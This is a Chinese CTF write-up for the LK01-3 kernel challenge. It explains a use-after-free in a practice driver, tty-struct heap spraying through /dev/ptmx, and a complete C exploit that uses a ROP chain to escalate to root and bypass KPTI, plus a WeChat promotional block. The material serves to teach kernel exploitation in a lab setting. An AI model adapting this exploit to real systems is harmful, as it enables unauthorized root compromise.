前言
UAF是用户态中常见的漏洞，在内核中同样存在UAF漏洞，都是由于对释放后的空间处理不当，导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3
结合题目来看UAF漏洞
项目地址：https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块
在执行open模块时会分配0x400大小的堆空间，并将地址存储在g_buf中
#define BUFFER_SIZE 0x400 char *g_buf = NULL; static int module_open(struct inode *inode, struct file *file) { printk(KERN_INFO "module_open called\n"); g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); if (!g_buf) { printk(KERN_INFO "kmalloc failed"); return -ENOMEM; } return 0; }
read模块
在读模块中，会从用户空间中读取0x400字节到g_buf执行的堆空间中
static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_read called\n"); if (count > BUFFER_SIZE) { printk(KERN_INFO "invalid buffer size\n"); return -EINVAL; } if (copy_to_user(buf, g_buf, count)) { printk(KERN_INFO "copy_to_user failed\n"); return -EINVAL; } return count; }
write模块
在写模块中，会从用户空间拷贝400字节数据到内核堆空间中
static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { printk(KERN_INFO "module_write called\n"); if (count > BUFFER_SIZE) { printk(KERN_INFO "invalid buffer size\n"); return -EINVAL; } if (copy_from_user(g_buf, buf, count)) { printk(KERN_INFO "copy_from_user failed\n"); return -EINVAL; } return count; }
close模块
close模块会释放g_buf指向的堆块空间
static int module_close(struct inode *inode, struct file *file) { printk(KERN_INFO "module_close called\n"); kfree(g_buf); return 0; }
漏洞分析
在读写模块中都限制了长度为0x400，这与一开始分配的堆空间大小一致，因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量，并且没有进行次数限制，那么就会导致多次调用open模块会使得存在多个指针指向同一块内存，若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。
当把g_buf释放掉后，通过fd2文件描述符同样能够操控g_buf的空间，问题是该如何劫持程序流程，由于堆空间是通过slab分配器进行分配的，而slab还可而已进行缓存，因此g_buf被释放后会放进缓存中，而g_buf的大小为0x400这与tty结构体一致，因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。
... int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } ...
这里我有一个疑惑的点，在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作，因此在执行close(fd1)之后，是不是还能对文件描述符fd1进行操作，后来试验之后发现不行，查询资料得到，文件描述符的移除是内核默认操作与重定义模块的close操作无关。
【---- 帮助网安学习，以下所有学习资料免费领！领取资料加 we~@x：yj009991，备注 “开源中国” 获取！】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP 客户端安全检测指南（安卓 + IOS）
在构造出UAF漏洞并进行堆喷之后，实际操作的g_buf指向的是tty的结构体，该结构体偏移0x18是一个函数表的操作指针，那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致，将指针操作修改为栈迁移到堆上，然后就是执行commit_creds(prepare_kernel_cred(0))，利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。
run.sh
#!/bin/sh qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smap,+smep \ -smp 1 \ -monitor /dev/null \ -initrd initramfs.cpio.gz \ -net nic,model=virtio \ -net user \ -s
exp
#include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> int spray[100]; //0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; //0xffffffff8114078a: pop rdi; ret; //0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; //0xffffffff810eb7e4: pop rcx; ret; //0xffffffff81072560 T prepare_kernel_cred //0xffffffff810723c0 T commit_creds //0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode #define push_rdx_pop_rsp_offset 0x14fbe8 #define pop_rdi_ret_offset 0x14078a #define pop_rcx_ret_offset 0xeb7e4 #define prepare_kernel_cred_offset 0x72560 #define commit_creds_offset 0x723c0 #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10 #define mov_rdi_rax_offset 0x638e9b unsigned long user_cs, user_sp, user_ss, user_rflags; void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n", user_rflags); printf("[#] backdoor: 0x%lx \n\n", backdoor); } int main() { save_user_land(); int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } char buf[0x400]; read(fd2, buf, 0x400); unsigned long *p = (unsigned long *)&buf; //for (unsigned int i = 0; i < 0x80; i++) // printf("[%x]:addr:0x%lx\n",i,p[i]); unsigned long kernel_addr = p[3]; unsigned long heap_addr = p[7]; printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr); unsigned long kernel_base = kernel_addr - 0xc39c60; unsigned long g_buf = heap_addr - 0x38; printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf); *(unsigned long *)&buf[0x18] = g_buf; p[0xc] = push_rdx_pop_rsp_offset + kernel_base; //for (unsigned long i = 0xd; i < 0x80; i++) // p[i] = i; p[0x21] = pop_rdi_ret_offset + kernel_base; p[0x22] = 0; p[0x23] = prepare_kernel_cred_offset + kernel_base; p[0x24] = pop_rcx_ret_offset + kernel_base; p[0x25] = 0; p[0x26] = mov_rdi_rax_offset + kernel_base; p[0x27] = commit_creds_offset + kernel_base; p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base; p[0x29] = 0; p[0x2a] = 0; p[0x2b] = (unsigned long)backdoor; p[0x2c] = user_cs; p[0x2d] = user_rflags; p[0x2e] = user_sp; p[0x2f] = user_ss; write(fd2, buf, 0x400); for (int i = 0; i < 50; i++) ioctl(spray[i], 0, g_buf+0x100); }
更多靶场实验练习、网安学习资料，请点击这里 >>
